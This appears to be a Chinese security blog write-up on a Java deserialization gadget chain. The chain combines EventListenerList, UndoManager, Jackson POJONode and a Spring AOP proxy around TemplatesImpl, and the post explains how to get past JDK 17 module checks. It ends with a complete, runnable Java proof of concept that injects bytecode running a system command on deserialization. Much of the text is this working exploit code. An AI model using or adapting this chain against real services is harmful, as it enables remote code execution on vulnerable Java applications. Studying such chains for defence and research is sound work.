条件

Spring Dependencies

image-20250904130810144

测试

image-20250904125523341

jackson反序列化

jackson序列化会调用任意getter,入口是writeValueAsString。最常见的就是打TemplatesImpl的getOutputProperties,入口是BaseJsonNode类的toString,它会调用InternalNodeMapper类的nodeToString,里面就有writeValueAsString,但是BaseJsonNode是抽象类,所以找它的子类POJONode,然后根据BadAttributeValueExpException触发toString,这是序列化的过程。

虽然Jackson的反序列化机制只是调用setter方法,但是TemplatesImploutputProperties属性是通过SetterlessProperty.deserializeAndSet来解析的,而它调用的是getter,所以可以打他的反序列化。

由于Jackson 获取类属性顺序的不稳定性,导致有时 JACKSON 链在触发 方法之前就报错了

transletindex
stylesheetDOM
outputProperties
Caused by: java.lang.NullPointerException
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:483)
    at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
    at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
    ... 74 more

解决方法,构造一个代理类,实现TemplatesgetOutputProperties方法,通过invoke触发getOutputProperties

  1. 构造一个 JdkDynamicAopProxy 类型的对象,将 TemplatesImpl 类型的对象设置为 targetSource
  2. 使用这个 JdkDynamicAopProxy 类型的对象构造一个代理类,代理 javax.xml.transform.Templates 接口
  3. JSON 序列化库只能从这个 JdkDynamicAopProxy 类型的对象上找到 getOutputProperties 方法
  4. 通过代理类的 invoke 机制,触发 TemplatesImpl#getOutputProperties 方法,实现恶意类加载

分析

// 通过AOP稳定Templates getter;
Object proxy = getPOJONodeStableProxy(templates);
// 获取Getter的时候代理对象获取其代理接口Getter
Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
Constructor<?> POJONodeConstructor = name.getConstructor(Object.class);
Object pojoNode = POJONodeConstructor.newInstance(proxy);


EventListenerList eventListenerList = new EventListenerList();
UndoManager manager = new UndoManager();
Field edits = CompoundEdit.class.getDeclaredField("edits");
edits.setAccessible(true);
Vector vector = (Vector) edits.get(manager);
vector.add(pojoNode);
setField(eventListenerList,"listenerList", new Object[]{InternalError.class, manager});


serialize(eventListenerList);
unserialize();

代码可以明显看出来打的是EventListenerListPOJONode那条jackson链子 可以参考2024羊城杯ezJava,一个非常巧妙的链子

链子如下

EventListenerList#readObject->
EventListenerList#add->
UndoManager#toString->
CompoundEdit#toString->
Vector#toString->
AbstractCollection#toString->
POJONode#toString
TemplatesImpl#getOutputProperties

bypass1

原本的TemplatesImpl这条链最后是恶意字节码加载,恶意类本来是要继承AbstractTranslet的,这里也会触发模块检测。如果不继承AbstractTranslet,就会空指针报错。但这里绕过很容易,跟jdk17打cc链一样,直接传入两个codes即可实现对_bytecodes.length赋值,这样就不会空指针报错。同时修改_transletIndex,它是code的索引。

bypass2

TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax下面,调用他的getter的时候会触发模块检测。但是通过AOP 动态代理到Templates这个类,这个类子啊java.xml下面,所以pn在白名单内,可以绕过模块检测。原理与上次分析的jdk17 cc链类似。

调试看一下

image-20250904125951103

可以看到代理的Templates pn为javax.xml

image-20250904130241719

过掉检测,成功实现Template的getter。

poc

import javassist.*;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Vector;
public class JDKModuleBypass {
    //
    //  --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens=java.desktop/javax.swing.event=ALL-UNNAMED
    public static void main(String[] args) throws Exception {


        ClassPool pool = ClassPool.getDefault();


        // 重写BaseJsonNode 去除writeReplace 方法
        pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
        CtClass baseJsonNodeClass= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = baseJsonNodeClass.getDeclaredMethod("writeReplace");
        baseJsonNodeClass.removeMethod(writeReplace);
        baseJsonNodeClass.toClass();
        //创建恶意字节码
        CtClass evilClass = pool.makeClass("calc");
        evilClass.addConstructor(
                CtNewConstructor.make("public Calc() { Runtime.getRuntime().exec(\"calc\"); }",evilClass)
        );
        CtClass tempClass = pool.makeClass("useless");
        byte[] tempClassCode=tempClass.toBytecode();
        byte[] evilClassCode=evilClass.toBytecode();

        Class<?> templatesImplclass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object templates = templatesImplclass.newInstance();
        setField(templates, "_name", "test");
        // 恶意类字节码在_bytecodes中下标
        setField(templates, "_transletIndex", 0);
        setField(templates, "_tfactory", null);
        setField(templates, "_bytecodes", new byte[][]{evilClassCode,tempClassCode});

        // 通过AOP稳定Templates getter;
        Object proxy = getPOJONodeStableProxy(templates);

        // 获取Getter的时候代理对象获取其代理接口Getter
        Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
        Constructor<?> POJONodeConstructor = name.getConstructor(Object.class);
        Object pojoNode = POJONodeConstructor.newInstance(proxy);


        EventListenerList eventListenerList = new EventListenerList();
        UndoManager manager = new UndoManager();
        Field edits = CompoundEdit.class.getDeclaredField("edits");
        edits.setAccessible(true);
        Vector vector = (Vector) edits.get(manager);
        vector.add(pojoNode);
        setField(eventListenerList,"listenerList", new Object[]{InternalError.class, manager});


        //serialize(eventListenerList);
        unserialize();
    }
    public static void setField(Object object,String fieldName,Object value) throws Exception {
        Class<?> c = object.getClass();
        Field field = c.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
    public static  void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        fileOutputStream.close();
    }
    public static  void unserialize() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
        ObjectInputStream objectIntputStream = new ObjectInputStream(fileInputStream);
        objectIntputStream.readObject();
        objectIntputStream.close();
        fileInputStream.close();
    }
    public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{
        Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Class<?> advisedSupportClass = Class.forName("org.springframework.aop.framework.AdvisedSupport");
        Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupportClass);
        constructor.setAccessible(true);
        Object advisedSupport = advisedSupportClass.newInstance();
        Method setTarget = advisedSupport.getClass().getMethod("setTarget", Object.class);
        setTarget.invoke(advisedSupport, templatesImpl);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);
        return proxyObj;
    }
    private static void unsafepatch(Class currentclass,Class targetclass) throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);  //获取Unsafe实例
        Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
        unsafe.getAndSetObject(currentclass, addr, ObjectModule);//修改main的module为Class类的module
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}